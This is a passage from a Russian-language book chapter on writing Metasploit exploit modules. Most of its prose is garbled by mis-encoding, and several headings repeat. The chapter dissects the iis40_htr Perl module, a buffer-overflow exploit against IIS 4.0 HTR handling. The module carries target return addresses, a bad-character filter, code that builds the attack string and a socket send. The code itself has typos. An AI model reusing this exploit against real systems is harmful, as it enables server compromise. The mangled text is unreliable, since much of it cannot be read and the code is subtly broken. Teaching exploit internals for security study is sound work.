íèå 1, òî ÿäðî íå áóäåò ïûòàòüñÿ ïðèìåíèòü íèêàêèå äðóãèå êîäèðîâùèêè.

Ïîñëå êîäèðîâàíèÿ, âûáèðàåòñÿ ãåíåðàòîð NOP-êîìàíä â ñîîòâåòñòâèè
ñ àïïàðàòíîé ïëàòôîðìîé, óêàçàííîé äëÿ ýêñïëîéòà. Òåì, êàêîé èìåííî ãåíå-
ðàòîð âûáðàòü, óïðàâëÿåò ïåðåìåííàÿ îêðóæåíèÿ Nop, êîòîðîé ñëåäóåò ïðè-
ñâîèòü èìÿ íóæíîãî ìîäóëÿ.

Åñëè çàäàòü ïåðåìåííóþ îêðóæåíèÿ NopDontFallThrough ðàâíîé 1, òî ÿäðî
íå áóäåò ïûòàòüñÿ ïðèìåíèòü íèêàêèå äðóãèå ãåíåðàòîðû, åñëè âûáðàííûé ïî
óìîë÷àíèþ ïî÷åìó-ëèáî íå ñðàáîòàåò. Åñëè ïåðåìåííàÿ RandomNops ðàâíà 1,
òî ÿäðî áóäåò ïûòàòüñÿ ñãåíåðèðîâàòü ñëó÷àéíóþ äîðîæêó èç NOP-êîìàíä äëÿ
ýêñïëîéòîâ íà ïëàòôîðìå x86. Ïî óìîë÷àíèþ ïåðåìåííàÿ RandomNops ðàâíà 1.
Ïîëíûé ñïèñîê ïåðåìåííûõ îêðóæåíèÿ âû ìîæåòå íàéòè íà ñàéòå ïðîåêòà
Metasploit.
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Â ïðîöåññ êîäèðîâàíèÿ è ãåíåðèðîâàíèÿ NOP-êîìàíä ÿäðî èçáåãàåò ïîÿâ-
ëåíèÿ íåäîïóñòèìûõ ñèìâîëîâ, ñïðàâëÿÿñü ñ èíôîðìàöèåé èç ñòðóêòóðû
%info. Ïîñëå òîãî êàê ïîëåçíàÿ íàãðóçêà ñãåíåðèðîâàíà, çàêîäèðîâàíà è ñíàá-
æåíà äîðîæêîé, ÿäðî âûçûâàåò ìåòîä exploit() èç îáúåêòà, ïðåäñòàâëÿþùåãî
ýêñïëîéò.

Êîíñòðóèðóÿ ñòðîêó àòàêè, ýòîò ìåòîä ïîëüçóåòñÿ ïåðåìåííûìè îêðóæå-
íèÿ. Îí âûçûâàåò ðàçëè÷íûå ôóíêöèè èç áèáëèîòåê, âõîäÿùèõ â ñîñòàâ
Metasploit, â ÷àñòíîñòè Pex. Êîãäà ñòðîêà áóäåò ãîòîâà, äëÿ óñòàíîâëåíèÿ ñîåäè-
íåíèÿ ñ óäàëåííûì õîñòîì è îòïðàâêè åìó ñòðîêè àòàêè ìîæíî âîñïîëüçî-
âàòüñÿ áèáëèîòå÷íûìè ôóíêöèÿìè ðàáîòû ñ ñîêåòàìè.

Анализ существующего модуля эксплойта

Çíàíèå äåòàëåé ðàáîòû ÿäðà ïîìîãàåò ðàçðàáîò÷èêó ëó÷øå ïîíÿòü ñòðóêòóðó
êëàññà ýêñïëîéòà. Ïîñêîëüêó âñå âñòðàèâàåìûå â êàðêàñ ýêñïëîéòû ñëåäóþò
îäíîé è òîé æå ñõåìå, òî íàäî ðàçîáðàòüñÿ â óñòðîéñòâå êàêîãî-íèáóäü îäíîãî
ýêñïëîéòà è íà åãî îñíîâå ìîæíî ñîçäàâàòü ñîáñòâåííûé (ñì. ïðèìåð 12.7).

Пример 12.7. Пример 12.7. Пример 12.7. Пример 12.7. Пример 12.7. Модуль, встроенный в каркас Metasploit
1 package Msf::Exploit::iis40_htr;

2 use base "Msf::Exploit";

3 use strict;

4 use Pex::Text;

Â ñòðîêå 1 ãîâîðèòñÿ, ÷òî âåñü ïîñëåäóþùèé êîä áóäåò ÷àñòüþ ïðîñòðàíñòâà
èìåí iis40_htr. Â ñòðîêå 2 îáúÿâëÿåòñÿ, ÷òî áàçîâûì äëÿ ìîäóëÿ ýêñïëîéòà ÿâ-
ëÿåòñÿ êëàññ Msf::Exploit. Äèðåêòèâà strict â ñòðîêå 3 çàïðåùàåò èñïîëüçîâàíèå
ïîòåíöèàëüíî íåáåçîïàñíûõ ÿçûêîâûõ êîíñòðóêöèé, íàïðèìåð, ïåðåìåííûõ,
êîòîðûå íå áûëè ïðåäâàðèòåëüíî îáúÿâëåíû. Â ñòðîêå 4 â ðàñïîðÿæåíèå íà-
øåãî êëàññà ïðåäîñòàâëÿþòñÿ ìåòîäû èç êëàññà Pex::Text. Îáû÷íî ðàçðàáîò÷èê
ýêñïëîéòà ïðîñòî ìåíÿåò èìÿ ïàêåòà â ñòðîêå 1, âêëþ÷àòü êàêèå-òî äðóãèå ïà-
êåòû èëè óïîòðåáëÿòü äîïîëíèòåëüíûå äèðåêòèâû íåò íóæäû.

5 my $advanced = {};

Âñå ñïåöèôè÷íûå äëÿ ýêñïëîéòà äàííûå õðàíÿòñÿ â ñòðóêòóðàõ %info è
%advanced, êîòîðûå äîëæíû áûòü îáúÿâëåíû â êàæäîì ìîäóëå. Â ñòðîêå 5 ìû
âèäèì, ÷òî â äàííîì ñëó÷àå õýø %advanced ïóñò, íî, åñëè áû ó ýêñïëîéòà áûëè
äîïîëíèòåëüíûå ïàðàìåòðû, èõ ñëåäîâàëî áû ïîìåñòèòü ñþäà â âèäå ïàð
êëþ÷-çíà÷åíèå.

6 my $info =
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 7 {

 8    'Name' => 'IIS 4.0 .HTR Buffer Overflow',

 9    'Version' => '$Revision: 1.4 $',

10    'Authors' => [ 'Stinko' ],

11    'Arch' => [ 'x86' ],

12    'OS' => [ 'win32' ],

13    'Priv' => 1,

Õýø %info íà÷èíàåòñÿ ñ èìåíè ýêñïëîéòà â ñòðîêå 8 è íîìåðà âåðñèè â ñòðî-
êå 9. Â ñòðîêå 10 ïåðå÷èñëåíû èìåíà àâòîðîâ, à â ñòðîêàõ 11 è 12 – öåëåâûå
àðõèòåêòóðû è îïåðàöèîííûå ñèñòåìû ñîîòâåòñòâåííî. Â ñòðîêå 13 çàäàí
êëþ÷ Priv, êîòîðûé óêàçûâàåò, íóæíû ëè äëÿ âûïîëíåíèÿ ýêñïëîéòà àäìèíèñò-
ðàòèâíûå ïðèâèëåãèè.

14    'UserOpts' => {

15                    'RHOST' => [1, 'ADDR', 'The target address'],

16                    'RPORT' => [1, 'PORT', 'The target port', 80],

17                    'SSL'   => [0, 'BOOL', 'Use SSL'],

18                  },

Òàêæå â õýøå %info õðàíèòñÿ ñòðóêòóðà UserOpts. Ýòî âëîæåííûé õýø, ãäå
ïåðå÷èñëåíû ïåðåìåííûå îêðóæåíèÿ, êîòîðûå ïîëüçîâàòåëü ìîæåò çàäàòü
â êîìàíäíîé ñòðîêå. Çíà÷åíèåì êàæäîãî êëþ÷à â ýòîì õýøå ÿâëÿåòñÿ ìàññèâ
èç ÷åòûðåõ ýëåìåíòîâ. Ïåðâûé ýëåìåíò – ýòî ôëàã, ïîêàçûâàþùèé, îáÿçà-
òåëüíà äàííàÿ ïåðåìåííàÿ èëè íåò. Âòîðîé ýëåìåíò – òèï äàííûõ, Metasploit
èñïîëüçóåò ýòî ïîëå äëÿ ïðîâåðêè ïðàâèëüíîñòè ôîðìàòà çàäàííîãî çíà÷å-
íèÿ ïåðåìåííîé. Òðåòèé ýëåìåíò îïèñûâàåò íàçíà÷åíèå ïåðåìåííîé îêðóæå-
íèÿ, à íåîáÿçàòåëüíûé ÷åòâåðòûé ýëåìåíò ñîäåðæèò çíà÷åíèå, ïðèíèìàåìîå
ïî óìîë÷àíèþ.

Íàïðèìåð, â ñòðîêå 15 ìû âèäèì, ÷òî ïåðåìåííàÿ RHOST îáÿçàòåëüíà, òèï
ADDR îçíà÷àåò, ÷òî îíà äîëæíà ñîäåðæàòü ëèáî IP-àäðåñ, ëèáî ïîëíîñòüþ
îïðåäåëåííîå äîìåííîå èìÿ.

Åñëè ïðè ïðîâåðêå îêàæåòñÿ, ÷òî ôîðìàò çàäàííîãî çíà÷åíèÿ íåêîððåê-
òåí, ýêñïëîéò âåðíåò ñîîáùåíèå îá îøèáêå. Èç îïèñàíèÿ ñëåäóåò, ÷òî ïåðå-
ìåííàÿ äîëæíà ñîäåðæàòü àäðåñ öåëåâîé ìàøèíû è ÷òî ó íåå íåò çíà÷åíèÿ ïî
óìîë÷àíèþ.

19    'PayLoad' => {

20                    'Space' => 820,

21                    'MaxNops' => 0,

22                    'MinNops' => 0,

23                    'BadChars' =>

24                      join("", map { $_=chr($_) } (0x00..0x2f)).

25                      join("", map { $_=chr($_) } (0x3a..0x40)).
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26                      join("", map { $_=chr($_) } (0x5b..0x60)).

27                      join("", map { $_=chr($_) } (0x7b..0xff)),

28    },

Çíà÷åíèåì êëþ÷à PayLoad òàêæå ÿâëÿåòñÿ õýø, âëîæåííûé â %info, îí ñî-
äåðæèò èíôîðìàöèþ î ïîëåçíîé íàãðóçêå. Ãëÿäÿ íà ïàðàìåòð Space (ñòðîêà
19), ÿäðî îïðåäåëÿåò, êàêèå âîîáùå íàãðóçêè äîñòóïíû äàííîìó ýêñïëîéòó.
Ïîçæå ðàçìåð çàêîäèðîâàííîé ïîëåçíîé íàãðóçêè ñíîâà ñâåðÿåòñÿ ñ ýòèì ïà-
ðàìåòðîì. Åñëè îíà îêàçûâàåòñÿ ñëèøêîì âåëèêà, ÿäðî ïðîáóåò ïðèìåíèòü
äðóãîé êîäèðîâùèê. Òàê ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà âñå èìåþùèåñÿ êî-
äèðîâùèêè íå áóäóò ïðîñìîòðåíû. Åñëè òàê è íå óäàñòñÿ óëîæèòüñÿ â îòâå-
äåííûå ðàçìåðû, ïîñòðîåíèå ýêñïëîéòà çàâåðøàåòñÿ íåóäà÷åé.

Ïàðàìåòðû MaxNops è MinNops, îïðåäåëåííûå â ñòðîêàõ 20 è 21, çàäàþò
ìàêñèìàëüíûé è ìèíèìàëüíûé ðàçìåð äîðîæêè NOP-êîìàíä â áàéòàõ. Çàäà-
íèå çíà÷åíèÿ MinNops ïîëåçíî, êîãäà íóæíî, ÷òîáû çàêîäèðîâàííîé ïîëåç-
íîé íàãðóçêå îáÿçàòåëüíî ïðåäøåñòâîâàëà äîðîæêà îïðåäåëåííîé äëèíû.
Ïàðàìåòð MaxNops ÷àùå âñåãî èñïîëüçóåòñÿ â ñëó÷àå, êîãäà è MaxNops,
è MinNops äîëæíû áûòü ðàâíû íóëþ, ÷òî ïîäàâëÿåò ãåíåðàöèþ äîðîæêè.

Ïàðàìåòð BadChars â ñòðîêå 23 ñîäåðæèò ñòðîêó ñèìâîëîâ, êîòîðûõ êîäè-
ðîâùèê äîëæåí èçáåãàòü. Òàêèì îáðàçîì, â âûøåïðèâåäåííîì ôðàãìåíòå
ñêàçàíî, ÷òî äëèíà ïîëåçíîé íàãðóçêè íå äîëæíà ïðåâûøàòü 820 áàéòîâ, ãåíå-
ðèðîâàòü äîðîæêó èç NOP-êîìàíä íå íàäî, ïîñêîëüêó ìû çàðàíåå çíàåì, ÷òî
ïðè èñïîëüçîâàíèè ðàçäåëÿåìîé áèáëèîòåêè â êà÷åñòâå òðàìïëèíà NOP-êî-
ìàíäû íå òðåáóþòñÿ, à íåäîïóñòèìûìè îáúÿâëåíû âñå ñèìâîëû, îòëè÷íûå îò
áóêâ è öèôð.

29    'Description' => Pex::Text::Freeform(qq{

30       Ýòîò ýêñïëîéò íàïðàâëåí ïðîòèâ îøèáêè ïåðåïîëíåíèÿ áóôåðà â

31       ISAPI-ðàñøèðåíèè ISM.DLL, êîòîðàÿ â IIS 4.0 çàíèìàåòñÿ

32       îáðàáîòêîé HTR-ñöåíàðèåâ. Ìîäóëü ðàáîòàåò â Windows NT 4

33       Service Packs 3, 4 è 5. Ñåðâåð ïðîäîëæèò îáðàáîòêó çàïðîñîâ,

34       ïîêà ïîëåçíàÿ íàãðóçêà íå çàâåðøèò ðàáîòó. Åñëè â êà÷åñòâå

35       ïàðàìåòðà EXITFUNC çàäàòü 'seh', òî ñåðâåð ïðîäîëæèò ðàáîòó,

36       íî âîçíèêíóò íåïðèÿòíîñòè ïðè âûõîäå èç ïðèâÿçàííîé ê ïîðòó

37       îáîëî÷êè. Åñëè æå EXITFUNC ðàâíî 'thread', òî ñåðâåð «óïàäåò»

38       ïðè âûõîäå èç îáîëî÷êè. Ïîëåçíàÿ íàãðóçêà êîäèðóåòñÿ òîëüêî

39       àëôàâèòíî-öèôðîâûìè ñèìâîëàìè, áåç äîðîæêè NOP-êîìàíä, òàê êàê

40       â ïðîòèâíîì ñëó÷àå äàííûå ìîãóò áûòü èçìåíåíû ôèëüòðàìè.

41    }),

Çíà÷åíèåì êëþ÷à Description ÿâëÿåòñÿ ñëîâåñíîå  îïèñàíèå  ýêñïëîéòà. Ôóíê-
öèÿ Pex::Text::Freeform() ôîðìàòèðóåò îïèñàíèå òàê, ÷òîáû îíî ïðàâèëüíî
îòîáðàæàëîñü êîìàíäîé info, çàïóùåííîé èç ïðîãðàììû msfconsole.
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42    'Refs' => [
43 ['OSVDB', 3325],

44 ['BID', 307],
45 ['CVE', '1999-0874'],

46 ['URL', 'http://www.eeye.com/html/research/
advisories/AD19990608.html'],

47              ],

Êëþ÷ Refs ñîäåðæèò ìàññèâ ìàññèâîâ, ïðè÷åì â êàæäîì âíóòðåííåì ìàññè-
âå åñòü äâà ïîëÿ: êëþ÷ èñòî÷íèêà èíôîðìàöèè è óíèêàëüíûé èäåíòèôèêàòîð.
Â ñòðîêå 44 BID – ñîêðàùåíèå îò Bugtraq ID, à 307 – èäåíòèôèêàòîð ñîîáùå-
íèÿ â ñèñòåìå Bugtraq. Ïðè âûïîëíåíèè êîìàíäû info ÿäðî òðàíñëèðóåò ñòðî-
êó 44 â www.securityfocus.com/bid/307.

48    'DefaultTarget' => 0,
49    'Targets' => [

50                   ['Windows NT4 SP3', 593, 0x77f81a4d],
51                   ['Windows NT4 SP4', 593, 0x77f7635d],

52                   ['Windows NT4 SP5', 589, 0x77f81a85],
53                 ],

Êëþ÷ Targets óêàçûâàåò íà ìàññèâ ìàññèâîâ, ãäå êàæäûé âíóòðåííèé ìàññèâ
ñîäåðæèò òðè ïîëÿ: îïèñàíèå öåëè, ñìåùåíèå àäðåñà âîçâðàòà è ñàì àäðåñ âîç-
âðàòà. Â ÷àñòíîñòè, èç ñòðîêè 106 ñëåäóåò, ÷òî â Windows NT4 Service Pack 5
àäðåñ âîçâðàòà äîëæåí áûòü ðàâåí 0x77f81a85, à ñìåùåíèå äî íåãî ñîñòàâëÿåò
589 áàéòîâ.

Ìàññèâ öåëåé – ýòî îäíà èç ñèëüíûõ ñòîðîí êàðêàñà, ïîñêîëüêó ïîçâîëÿåò
èñïîëüçîâàòü îäèí è òîò æå ýêñïëîéò äëÿ àòàêè íà ðàçíûå öåëè áåç êàêîé-
ëèáî ìîäèôèêàöèè êîäà. Ïîëüçîâàòåëþ ïðîñòî íóæíî óêàçàòü öåëü ñ ïîìî-
ùüþ ïåðåìåííîé îêðóæåíèÿ TARGET. Çíà÷åíèåì êëþ÷à DefaultTarget ñëóæèò
èíäåêñ ïðèíèìàåìîãî ïî óìîë÷àíèþ ýëåìåíòà ìàññèâà Targets; 0 â ñòðîêå 48
ãîâîðèò, ÷òî ýòî ïåðâûé ýëåìåíò, òî åñòü ïî óìîë÷àíèþ ïðåäïîëàãàåòñÿ àòà-
êà íà Windows NT4 SP3.

54    'Keys' => ['iis'],

55 };

Ïîñëåäíèì â ñòðóêòóðå %info èäåò êëþ÷ Keys. Îí óêàçûâàåò íà ìàññèâ êëþ-
÷åâûõ ñëîâ, àññîöèèðîâàííûõ ñ äàííûì ýêñïëîéòîì. Ýòè ñëîâà èñïîëüçóþòñÿ
ÿäðîì äëÿ ôèëüòðàöèè.

56 sub new {
57   my $class = shift;

58   my $self = $class->SUPER::new({'Info' => $info,
               'Advanced' => $advanced}, @_);
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59   return($self);

60 }

Ôóíêöèÿ new() – ýòî êîíñòðóêòîð êëàññà. Îíà îòâå÷àåò çà ñîçäàíèå íîâûõ
îáúåêòîâ è ïåðåäàåò èì ññûëêè íà ñòðóêòóðû %info è %advanced. Ìîäèôèöè-
ðîâàòü ýòó ôóíêöèþ ïðèõîäèòñÿ î÷åíü ðåäêî.

61 sub exploit

62 {

63   my $self = shift;

64   my $target_host = $self->GetVar('RHOST');

65   my $target_port = $self->GetVar('RPORT');

66   my $target_idx  = $self->GetVar('TARGET');

67   my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

Èìåííî â ìåòîäå exploit() ýêñïëîéò ñîçäàåòñÿ è èñïîëíÿåòñÿ.
Â ñòðîêå 63 ìåòîä ïîëó÷àåò ññûëêó íà îáúåêò, ÷åðåç êîòîðûé âûçâàí, è ñðàçó

æå èñïîëüçóåò åå â ïîñëåäóþùèõ ñòðîêàõ äëÿ âûçîâà ìåòîäà GetVar(), ãäå èç-
âëåêàþòñÿ çíà÷åíèÿ ïàðàìåòðîâ RHOST, RPORT è TARGET, òî åñòü àäðåñ è
íîìåð ïîðòà óäàëåííîé ìàøèíû è èíäåêñ ýëåìåíòà â ìàññèâå öåëåé (ñòðîêà
49). Ìû óæå ãîâîðèëè, ÷òî ìåòîä exploit() âûçûâàåòñÿ òîëüêî ïîñëå óñïåø-
íîé ãåíåðàöèè ýêñïëîéòà. Äàííûå ìåæäó ÿäðîì è ýêñïëîéòîì ïåðåäàþòñÿ ÷å-
ðåç ïåðåìåííûå îêðóæåíèÿ, ïîýòîìó äëÿ ïîëó÷åíèÿ ïîëåçíîé íàãðóçêè èç ïå-
ðåìåííîé EncodedPayload âûçûâàåòñÿ ìåòîä GetVar().

68   my $target = $self->Targets->{$target_idx};

Çíà÷åíèå ïåðåìåííîé $target_idx, ïîëó÷åííîå â ñòðîêå 66, èñïîëüçóåòñÿ
â êà÷åñòâå èíäåêñà ìàññèâà Targets. Òåïåðü â ïåðåìåííîé $target íàõîäèòñÿ ññûë-
êà íà ìàññèâ ñ èíôîðìàöèåé î öåëè.

69   my $attackstring = ("X" x $target->[1]);

70   $attackstring .= pack("V", $target->[2]);

71   my $attackstring .= $shellcode;

Â ñòðîêå 69 ìû ïðèñòóïàåì ê êîíñòðóèðîâàíèþ ñòðîêè àòàêè, ïîìåùàÿ
â åå íà÷àëî íåñêîëüêî ñèìâîëîâ “X”. Êîëè÷åñòâî èõ îïðåäåëÿåòñÿ âòîðûì
ýëåìåíòîì ìàññèâà, íà êîòîðûé óêàçûâàåò $target, à ýòî íå ÷òî èíîå, êàê ñìå-
ùåíèå äî àäðåñà âîçâðàòà. Â ñòðîêå 70 â ñòðîêó àòàêè äîïèñûâàåòñÿ àäðåñ âîç-
âðàòà, ïðåäâàðèòåëüíî  ïðåîáðàçîâàííûé â ôîðìàò l ittle endian. Â ñòðîêå  71
ìû äîïèñûâàåì ñãåíåðèðîâàííóþ ïîëåçíóþ íàãðóçêó, êîòîðàÿ ÷óòü ðàíüøå
áûëà èçâëå÷åíà èç ïåðåìåííîé îêðóæåíèÿ (ñòðîêà 67).

72   my $request = "GET /" . $attackstring . ".htr HTTP/1.0\r\n\r\n";
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Çäåñü ñòðîêà àòàêè ïîãðóæàåòñÿ â çàïðîñ ïî ïðîòîêîëó HTTP ê ôàéëó ñ ðàñ-
øèðåíèåì .htr. Â íàñòîÿùèé ìîìåíò ïåðåìåííàÿ $request âûãëÿäèò, êàê ïîêà-
çàíî íà ðèñ. 12.43.

Рис. 12.43. Рис. 12.43. Рис. 12.43. Рис. 12.43. Рис. 12.43. Строка атаки в переменной $request

73   $self->PrintLine(sprintf ("[*] Trying " . $target->[0] .
  " using call eax at 0x%.8x...", $target->[2]));

Çàêîí÷èâ êîíñòðóèðîâàòü ñòðîêó àòàêè, ýêñïëîéò ñîîáùàåò ïîëüçîâàòåëþ
î ñâîåé ãîòîâíîñòè ê çàïóñêó.

74   my $s = Msf::Socket::Tcp->new

75   (

76     'PeerAddr'  => $target_host,

77     'PeerPort'  => $target_port,

78     'LocalPort' => $self->GetVar('CPORT'),

79     'SSL'       => $self->GetVar('SSL'),

80   );

81   if ($s->IsError) {

82      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);

83      return;

84   }

Â ñòðîêàõ 74–80 ñîçäàåòñÿ TCP-ñîêåò ñ ïàðàìåòðàìè, îïðåäåëÿåìûìè ïåðå-
ìåííûìè îêðóæåíèÿ. Äëÿ ýòîé öåëè ïðèìåíÿåòñÿ API ñîêåòîâ, âõîäÿùèé
â êàðêàñ Metasploit.

85   $s->Send($reequest);

86   $s->Close();

87   return;

88 }

È, íàêîíåö, ìåòîä exploit() ïîñûëàåò ñòðîêó àòàêè, à çàòåì çàêðûâàåò ñîêåò è
âîçâðàùàåò óïðàâëåíèå. Â ýòîò ìîìåíò ÿäðî íà÷èíàåò â öèêëå ðàáîòàòü ñ ñî-
åäèíåíèåì òàê, êàê òîãî òðåáóåò ïîëåçíàÿ íàãðóçêà. Êàê òîëüêî ñîåäèíåíèå
áóäåò óñòàíîâëåíî, çàïóñêàåòñÿ âñòðîåííûé îáðàáîò÷èê, è ðåçóëüòàò ïå÷àòàåò-
ñÿ íà ýêðàíå, êàê ïîêàçàíî íà ðèñ. 12.9.
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Переопределение методов

Â ïðåäûäóùåì ðàçäåëå ìû îáñóäèëè, êàê ïîëåçíàÿ íàãðóçêà ãåíåðèðóåòñÿ, êîäè-
ðóåòñÿ è ñíàáæàåòñÿ äîðîæêîé èç NOP-êîìàíä. Íî ìû íè÷åãî íå ãîâîðèëè
î òîì, ÷òî ðàçðàáîò÷èê ìîæåò ïåðåîïðåäåëèòü íåêîòîðûå ôóíêöèè ÿäðà, ÷òîáû
óïðàâëÿòü ýêñïëîéòîì áîëåå äèíàìè÷íî, íå îãðàíè÷èâàÿñü ëèøü çàäàíèåì ïàðà-
ìåòðîâ â õýøàõ. Äîïóñêàþùèå ïåðåîïðåäåëåíèå ôóíêöèè íàõîäÿòñÿ â êëàññå
Msf::Exploit. Ïî óìîë÷àíèþ îíè ïðîñòî âîçâðàùàþò çíà÷åíèÿ èç õýøåé, íî ìî-
ãóò ðåøàòü è äðóãèå çàäà÷è, äèêòóåìûå òðåáîâàíèÿìè ê ïîëåçíîé íàãðóçêå.

Íàïðèìåð, â ñòðîêå 21 ìû çàäàëè â êëþ÷å $info->{'Payload'}->{'MaxNops'}
ìàêñèìàëüíîå ÷èñëî NOP-êîìàíä. Åñëè â çàâèñèìîñòè îò öåëåâîé ïëàòôîð-
ìû ñòðîêà àòàêè äîëæíà âêëþ÷àòü ðàçíîå ÷èñëî NOP-êîìàíä, òî íèêòî íå
ìåøàåò ïåðåîïðåäåëèòü ìåòîä PayloadMaxNops(), ÷òîáû îíà âîçâðàùàëà ðàç-
ëè÷íûå çíà÷åíèÿ. Â òàáëèöå 12.2 ïåðå÷èñëåíû ïåðåîïðåäåëÿåìûå ìåòîäû.

Таблица 12.2. Методы, допускающие переопределение

Метод Описание Соответствующее
значение в хэше

PayloadPrepend� Помещает данные между $info�>{'Payload'}�>
Encoder дорожкой и декодером {'PrependEncoder'}
PayloadPrepend Помещает данные перед $info�>{'Payload'}�>

полезной нагрузкой до начала {'Prepend'}
процедуры кодирования

PayloadAppend Помещает данные после $info�>{'Payload'}�>
полезной нагрузки до начала {'Append'}
процедуры кодирования

PayloadSpace Задает максимальную общую $info�>{'Payload'}�>
длину дорожки, декодера и {'Space'}
закодированной полезной
нагрузки. Дорожка должна
занимать все свободное место

PayloadSpace� Задает набор символов, которых $info�>{'Payload'}�>
BadChars должен избегать кодировщик {'BadChars'}
PayloadMinNops Задает минимальную длину $info�>{'Payload'}�>

дорожки {'MinNops'}
PayloadMaxNops Задает максимальную длину $info�>{'Payload'}�>

дорожки {'MaxNops'}
NopSaveRegs Задает набор регистров, которые $info�>{'Payload'}�>

не должны участвовать в дорожке {'SaveRegs'}

Õîòÿ ïåðåîïðåäåëÿòü ýòè ìåòîäû ïðèõîäèòñÿ ðåäêî, ïîëåçíî çíàòü, ÷òî
òàêàÿ âîçìîæíîñòü ñóùåñòâóåò.

Интегрирование эксплойта в каркас
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Резюме
Äëÿ ðàçðàáîòêè íàäåæíûõ ýêñïëîéòîâ íóæíî âëàäåòü ìíîãèìè íàâûêàìè è
îáëàäàòü ãëóáîêèìè çíàíèÿìè, êîòîðûõ íå ïîëó÷èøü, ÷èòàÿ âñå âîçðàñòàþ-
ùåå êîëè÷åñòâî áåññìûñëåííûõ îôèöèàëüíûõ ñòàòåé. ×èòàòåëü äîëæåí ïðî-
ÿâèòü èíèöèàòèâó, ÷òîáû íàâåñòè ìîñòû ìåæäó òåîðèåé è ïðàêòèêîé. È âûðà-
æàåòñÿ ýòî â ñàìîñòîÿòåëüíîì íàïèñàíèè ðàáîòàþùåãî ýêñïëîéòà. Ïðîåêò
Metasploit ïðåäîñòàâëÿåò íàáîð èíñòðóìåíòîâ, ñ ïîìîùüþ êîòîðûõ ñëîæ-
íîñòü ïðîöåññà ñîçäàíèÿ ýêñïëîéòà ìîæíî çíà÷èòåëüíî óìåíüøèòü. Ïðè
ýòîì â êà÷åñòâå êîíå÷íîãî ðåçóëüòàòà ðàçðàáîò÷èê íå òîëüêî ïîëó÷èò ðàáî-
òîñïîñîáíûé ýêñïëîéò, íî è ñòàíåò ëó÷øå ïîíèìàòü òðóäíîñòè, ñîïóòñòâóþ-
ùèå îðãàíèçàöèè àòàêè íà óÿçâèìîñòü.
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Обзор изложенного материала
Èñïîëüçîâàíèå êàðêàñà MetasploitÈñïîëüçîâàíèå êàðêàñà MetasploitÈñïîëüçîâàíèå êàðêàñà MetasploitÈñïîëüçîâàíèå êàðêàñà MetasploitÈñïîëüçîâàíèå êàðêàñà Metasploit

� Êàðêàñ Metasploit Framework ïðåäîñòàâëÿåò òðè ðàçíûõ èíòåðôåéñà:
msfcl i – êîìàíäíàÿ ñòðîêà; msfweb – èíòåðôåéñ íà îñíîâå  Web-áðàóçåðà
è msfconsole – èíòåðàêòèâíàÿ îáîëî÷êà.

� Ñàìûì ðàçâèòûì ÿâëÿåòñÿ èíòåðôåéñ msfconsole. ×òîáû ïîëó÷èòü
ñïðàâêó â ïðîöåññå ðàáîòû ñ íèì, íàæìèòå êëàâèøó ? èëè íàáåðèòå êî-
ìàíäó help. Íàèáîëåå ïîëåçíûìè èç ïðåäëàãàåìûõ êîìàíä ÿâëÿþòñÿ
show, set, info, use è exploit.

� Ïîñëå âûáîðà ýêñïëîéòà è çàäàíèÿ åãî ïàðàìåòðîâ íóæíî âûáðàòü è
ñêîíôèãóðèðîâàòü ïîëåçíóþ íàãðóçêó.

Ðàçðàáîòêà ýêñïëîéòîâÐàçðàáîòêà ýêñïëîéòîâÐàçðàáîòêà ýêñïëîéòîâÐàçðàáîòêà ýêñïëîéòîâÐàçðàáîòêà ýêñïëîéòîâ
ñ ïîìîùüþ êàðêàñà Metasploitñ ïîìîùüþ êàðêàñà Metasploitñ ïîìîùüþ êàðêàñà Metasploitñ ïîìîùüþ êàðêàñà Metasploitñ ïîìîùüþ êàðêàñà Metasploit

� Îñíîâíûå øàãè ïðè ðàçðàáîòêè ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðà –
ýòî îïðåäåëåíèå âåêòîðà àòàêè, âû÷èñëåíèå ñìåùåíèÿ àäðåñà âîçâðàòà,
âûáîð âåêòîðà óïðàâëåíèÿ, îòûñêàíèå ïîäõîäÿùåãî àäðåñà âîçâðàòà,
âûÿâëåíèå íåäîïóñòèìûõ ñèìâîëîâ è îãðàíè÷åíèé ïî ðàçìåðó, ñîçäà-
íèå äîðîæêè èç NOP-êîìàíä, âûáîð ïîëåçíîé íàãðóçêè è êîäèðîâùèêà
è, íàêîíåö, òåñòèðîâàíèå.

� Ôóíêöèÿ PatternCreate() è óòèëèòà patternOffset.pl ïîìîãàþò áûñòðåå îï-
ðåäåëèòü ñìåùåíèå äî àäðåñà âîçâðàòà.

� Áàçà äàííûõ Metasploit î êîäàõ îïåðàöèé, à òàêæå óòèëèòû mfspescan è
mfselfscan ìîæíî èñïîëüçîâàòü äëÿ îòûñêàíèÿ ïîäõîäÿùåãî àäðåñà âîç-
âðàòà.

� Ýêñïëîéòû, óæå âñòðîåííûå â êàðêàñ Metasploit, ìîãóò âîñïîëüçîâàòüñÿ
ïåðåäîâûìè ìåòîäàìè ãåíåðèðîâàíèÿ äîðîæåê èç NOP-êîìàíä.

� Êàê Web-èíòåðôåéñ, òàê è àâòîíîìíûå óòèëèòû msfpayload è msfencode
ïîçâîëÿþò àâòîìàòèçèðîâàòü ïðîöåäóðó âûáîðà, ãåíåðèðîâàíèÿ è êî-
äèðîâàíèÿ ïîëåçíîé íàãðóçêè.

Èíòåãðàöèÿ ýêñïëîéòîâ â êàðêàñÈíòåãðàöèÿ ýêñïëîéòîâ â êàðêàñÈíòåãðàöèÿ ýêñïëîéòîâ â êàðêàñÈíòåãðàöèÿ ýêñïëîéòîâ â êàðêàñÈíòåãðàöèÿ ýêñïëîéòîâ â êàðêàñ
� Âñå ìîäóëè ýêñïëîéòîâ ñòðîÿòñÿ ïðèìåðíî ïî îäíîìó îáðàçöó, ïîýòî-

ìó èíòåãðèðîâàíèå â êàðêàñ îáû÷íî ñâîäèòñÿ ê ìîäèôèêàöèè ñóùåñò-
âóþùåãî ýêñïëîéòà.

� Äàííûå ìåæäó ÿäðîì êàðêàñà è îòäåëüíûì ýêñïëîéòîì ïåðåäàþòñÿ ÷å-
ðåç ïåðåìåííûå îêðóæåíèÿ. Îíè æå ïðèìåíÿþòñÿ äëÿ óïðàâëåíèÿ ïî-
âåäåíèåì ÿäðà.

Обзор изложенного материала
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� Â õýøàõ %info è %advanced ñîäåðæèòñÿ âñÿ èíôîðìàöèÿ îá ýêñïëîéòå,
